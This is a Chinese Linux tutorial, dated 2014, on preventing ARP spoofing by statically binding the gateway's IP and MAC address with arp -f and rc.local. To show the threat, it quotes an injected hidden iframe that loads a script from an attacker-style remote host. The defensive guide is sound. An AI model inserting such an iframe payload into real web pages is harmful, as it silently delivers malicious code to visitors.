日期:2014-05-16  浏览次数:20581 次

Linux独享主机绑定IP和MAC地址,防止ARP欺骗

?

一、ARP欺骗病毒,主要表现为:
中病毒的机器不仅影响自身,同时也会影响同网段的其它机器,将其它机器的HTTP数据包里加入病毒代码

。代码例子如:
<html><iframe src=http://xxx.eklajgl.com/lsj.js width=0 height=0></iframe>
这种病毒危害非常大!即使你机器的安全性做得很好,可是没办法保证同网段的其它机器安全没有问题!
解决办法:在网关和本机上双向绑定IP和MAC地址,以防止ARP欺骗。

二、绑定
1、网关上已经对下面所带的机器作了绑定。网关IP:192.168.0.1 MAC:00:02:03:18:08:00
2、要进行绑定的Unix主机IP:192.168.0.2 MAC:00:04:61:9D:8B:02

三、绑定步骤
1、先使用arp和arp -a查看一下当前ARP缓存列表
[root@ftp]# arp
Address????????????????? HWtype? HWaddress?????????? Flags Mask??????????? Iface
192.168.0.145??????????? ether?? 00:13:20:E9:11:04?? C???????????????????? eth0
192.168.0.1????????????? ether?? 00:02:03:18:08:00?? C???????????????????? eth0

说明:
Address:主机的IP地址
Hwtype:主机的硬件类型
Hwaddress:主机的硬件地址
Flags Mask:记录标志,"C"表示arp高速缓存中的条目,"M"表示静态的arp条目。

[root@ftp]# arp -a
?(192.168.0.145) at 00:13:20:E9:11:04 [ether] on eth0
?(192.168.0.1) at 00:02:03:18:08:00 [ether] on eth0

2、新建一个静态的mac-->ip对应表文件:ip-mac,将要绑定的IP和MAC地下写入此文件,格式为 ip mac


[root@ftp]# echo '192.168.0.1 00:02:03:18:08:00 ' > /etc/ip-mac
[root@ftp]# more /etc/ip-mac
192.168.0.1 00:02:03:18:08:00

3、设置开机自动绑定
[root@ftp]# echo 'arp -f /etc/ip-mac ' >> /etc/rc.d/rc.local

4、手动执行一下绑定
[root@ftp]# arp -f /etc/ip-mac

5、确认绑定是否成功
[root@ftp]# arp
Address????????????????? HWtype? HWaddress?????????? Flags Mask??????????? Iface
192.168.0.145??????????? ether?? 00:13:20:E9:11:04?? C???????????????????? eth0
192.168.0.1????????????? ether?? 00:02:03:18:08:00?? CM??????????????????? eth0

[root@ftp]# arp -a
?(192.168.0.145) at 00:02:B3:A7:85:48 [ether] on eth0
?(192.168.0.1) at 00:02:03:18:08:00 [ether] PERM on eth0

从绑定前后的ARP缓存列表中,可以看到网关(192.168.0.1)的记录标志已经改变,说明绑定成功。